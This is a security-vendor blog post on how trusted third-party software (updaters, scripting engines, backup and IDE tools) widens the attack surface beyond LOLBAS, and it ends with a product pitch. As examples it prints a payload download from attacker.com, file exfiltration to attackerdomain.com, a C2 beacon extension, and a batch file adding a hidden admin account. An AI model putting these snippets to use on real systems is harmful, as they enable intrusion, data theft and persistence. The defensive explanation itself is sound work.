Beyond LOLBAS: The Hidden Dangers of Third-Party Software

While the cybersecurity community has extensively documented Windows system binaries that can be abused (known as Living Off the Land Binaries and Scripts or LOLBAS), our research at Spektion has uncovered an equally concerning but less discussed threat: the vast ecosystem of trusted third-party applications that unknowingly introduce additional attack vectors into enterprise environments.

The Expanding Attack Surface: Trusted Vendor Software as Attack Vectors

Most organizations focus their security monitoring on native system components like PowerShell, WMI, and Windows utilities. However, our runtime intelligence has revealed that commercial and enterprise applications significantly expand this attack surface by introducing their own dual-use capabilities. These vendor tools—designed for legitimate purposes like updating, automation, and administration—often possess dangerous capabilities that attackers can repurpose for malicious activities.

Unlike native Windows binaries that security teams increasingly monitor, these vendor-introduced tools frequently operate under the radar, with elevated privileges and minimal restrictions.

Why Third-Party Software Creates Unique Security Challenges

Commercial software components present distinct security challenges compared to built-in system utilities:

• Elevated Privileges by Default: Many enterprise applications require and maintain persistent administrative access
• Minimal Security Oversight: Vendor tools often implement fewer security controls than modern operating systems
• Frequent Network Communication: These components regularly communicate externally, creating opportunities for command-and-control or data exfiltration
• Trust by Association: Security teams inherently trust software from established vendors, often exempting them from rigorous monitoring

Our runtime visibility across numerous enterprise environments has revealed that the typical organization has hundreds of these potentially exploitable components installed—each representing a potential attack vector that exists outside traditional LOLBAS monitoring.

Common Categories of Exploitable Third-Party Software

Through extensive runtime monitoring, we’ve identified several categories of commercial software that frequently introduce exploitable capabilities:

1. Update Mechanisms

Nearly every commercial application implements its own update process, and these mechanisms commonly include capabilities for:

• Downloading arbitrary files from remote sources
• Executing files with the application’s privileges
• Modifying system configurations
• Running with SYSTEM privileges

One particularly concerning example comes from a widely-deployed enterprise productivity suite. Its update mechanism contains a utility that accepts commands through a configuration file:

// Simplified representation of vulnerable functionality
public static void ProcessConfigCommand(string commandArgument)
{
    // No validation of input source or content
    if (commandArgument.StartsWith("exec:"))
    {
        string command = commandArgument.Substring(5);
        // Directly executing shell commands from config
        System.Diagnostics.Process.Start("cmd.exe", "/c " + command);
    }
    else if (commandArgument.StartsWith("download:"))
    {
        string[] parts = commandArgument.Substring(9).Split('|');
        string url = parts[0];
        string destination = parts[1];
        // Downloading from arbitrary URLs
        using (WebClient client = new WebClient())
        {
            client.DownloadFile(url, destination);
        }
    }
}

This functionality exists for legitimate update purposes, but any attacker who can manipulate the configuration source (in this case, any authenticated user) gains a powerful execution mechanism that operates with the application’s elevated privileges.

2. Automation and Scripting Engines

Enterprise software commonly includes automation capabilities that can be weaponized:

• Database management tools with scripting engines that can execute arbitrary commands
• IT automation platforms with remote execution capabilities
• Productivity software with macro or scripting functionality

For example, our research identified a popular database administration tool that includes a feature for executing “maintenance scripts.” While designed for legitimate database maintenance, this feature accepts and executes arbitrary PowerShell commands without verification of source or content:

# Example of how the legitimate maintenance function can be abused
MaintenanceEngine.Execute("
    # Legitimate-looking database maintenance comment
    $dbBackupPath = 'C:\Backup\db.bak';
    
    # Hidden malicious code
    $c = New-Object System.Net.WebClient;
    $c.DownloadFile('http://attacker.com/payload.dll', 'C:\Windows\Tasks\legit.dll');
    Start-Process -FilePath 'powershell.exe' -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -Command Import-Module C:\Windows\Tasks\legit.dll; Invoke-MaliciousFunction';
    
    # More legitimate-looking code
    Write-Output 'Database maintenance complete!'
");

Because this execution happens within a trusted application context, it typically bypasses security controls that would otherwise detect malicious PowerShell usage.

3. Administrative and Support Tools

Many enterprise applications include administrative utilities with extensive system access:

• Remote support tools that can control system functions
• Diagnostic utilities with file system and registry access
• Configuration tools that interact with privileged system components

These tools often implement their own command execution mechanisms separate from the operating system’s standard processes. For instance, a popular IT management suite includes a diagnostic utility that can execute commands as follows:

[DiagnosticFunction]
Type=CommandExecution
Target=System
Command=%COMMAND_TO_EXECUTE%
RunAs=SYSTEM
Visible=false

When used legitimately, this runs built-in diagnostics. However, the same mechanism can execute arbitrary commands with SYSTEM privileges while hiding console output—ideal for attackers seeking stealthy execution.

4. Document Processing and Media Applications

Applications that process external content often include features that can be repurposed for attacks:

• Document processors with macro capabilities
• Media players with script execution features
• PDF readers with JavaScript execution
• Browser extensions with extensive privileges

Many of these applications implement custom script interpreters that run outside standard monitoring and can interact with system components.

Real-World Attack Scenarios Using Third-Party Software

To illustrate the real-world impact of these vulnerabilities, let’s examine several attack scenarios we’ve observed:

Scenario 1: Leveraging a Design Tool for Data Exfiltration

In one incident, attackers exploited a popular design application’s scripting engine to exfiltrate sensitive data:

// Malicious script disguised as a design automation tool
app.doScript(function() {
    // Legitimate-looking design automation code
    var doc = app.activeDocument;
    
    // Hidden malicious functionality
    var files = Folder("/Users/victim/Documents/Confidential").getFiles("*.pdf");
    for (var i = 0; i < files.length; i++) {
        // Using the application's legitimate network functionality to exfiltrate data
        uploadToTemplate("https://attackerdomain.com/templates?data=" + encodeURIComponent(files[i]));
    }
});

This attack succeeded because:

• The design application was explicitly allowed outbound network access in the firewall
• The script ran within the context of a trusted application
• The exfiltration mimicked the application’s normal template sharing functionality

Scenario 2: Using Backup Software for Privilege Escalation

In another case, attackers used a backup application’s service component to escalate privileges:

# Legitimate backup configuration file modified to include:
[SpecialBackupTask]
Name=System Integrity Verification
OnDemand=true
ExecuteBefore=C:\Windows\Temp\helper.bat
Recursive=true

The batch file contained (contrived example for brevity):

@echo off
net user admin_backup Password123! /add
net localgroup administrators admin_backup /add

This attack was particularly effective because:

• The backup service ran with SYSTEM privileges
• Changes to backup configurations weren’t monitored by security tools

Scenario 3: Exploiting Development Tools for Persistence

Developers’ tools present another rich attack surface. In one instance, attackers exploited an IDE’s extension mechanism:

{
  "name": "Code Quality Analyzer",
  "description": "Analyzes code quality metrics",
  "version": "1.0.0",
  "startup": "startup.js",
  "permissions": ["filesystem", "process", "network"]
}

The startup.js file contained:

// Legitimate-looking code quality extension
exports.activate = function(context) {
    // Set up persistence using the IDE's own scheduler
    context.scheduler.scheduleTask("Quality Analysis", "0 * * * *", function() {
        // Hidden malicious code that pings C2 server
        require('https').get('https://attacker.com/beacon?id=' + getSystemId());
        
        // Legitimate-looking analysis result
        context.logger.info("Code quality analysis complete");
    });
};

This attack succeeded because:

• Developer tools typically have extensive system access
• The extension appeared legitimate and performed expected functions
• Developer machines often have reduced security restrictions

The Spektion Approach: Runtime Intelligence for Third-Party Software

At Spektion, we’ve developed a runtime intelligence platform specifically designed to address the blind spots created by third-party software:

Comprehensive Discovery: We continuously monitor application behavior at runtime to identify all components with potentially dangerous capabilities—not just those documented by vendors.

Behavioral Evaluation: For each application component, we assess the application’s behavior, covering process creation, file access, network communications, and system modifications.

Preventive Controls: Based on behavioral analysis, we generate precise preventive and detective controls that can be implemented in existing security tools.

Conclusion: Securing the Hidden Attack Surface

As attackers rapidly shift their focus from heavily monitored operating system binaries to lesser-scrutinized third-party software, security teams must urgently expand their defensive aperture. Organizations can no longer afford to focus exclusively on LOLBAS—they must now systematically identify, monitor, and control the exploitable functionality within every piece of trusted software in their environment.

While the security community has made significant progress in addressing risks posed by native system utilities, the equally dangerous capabilities introduced by trusted third-party software remain largely unaddressed. Every application that can download files, execute commands, or access sensitive resources represents a potential attack vector—regardless of whether it comes from Microsoft or a trusted vendor.

By monitoring actual software behavior rather than relying solely on reputation or disclosed vulnerabilities, security teams can identify and mitigate these hidden risks before attackers exploit them. In modern security, understanding what software can do is as important as knowing what vulnerabilities it contains—and in an environment where attackers increasingly leverage legitimate software for malicious purposes, comprehensive visibility into application behavior is no longer optional but essential.

← Back to all articles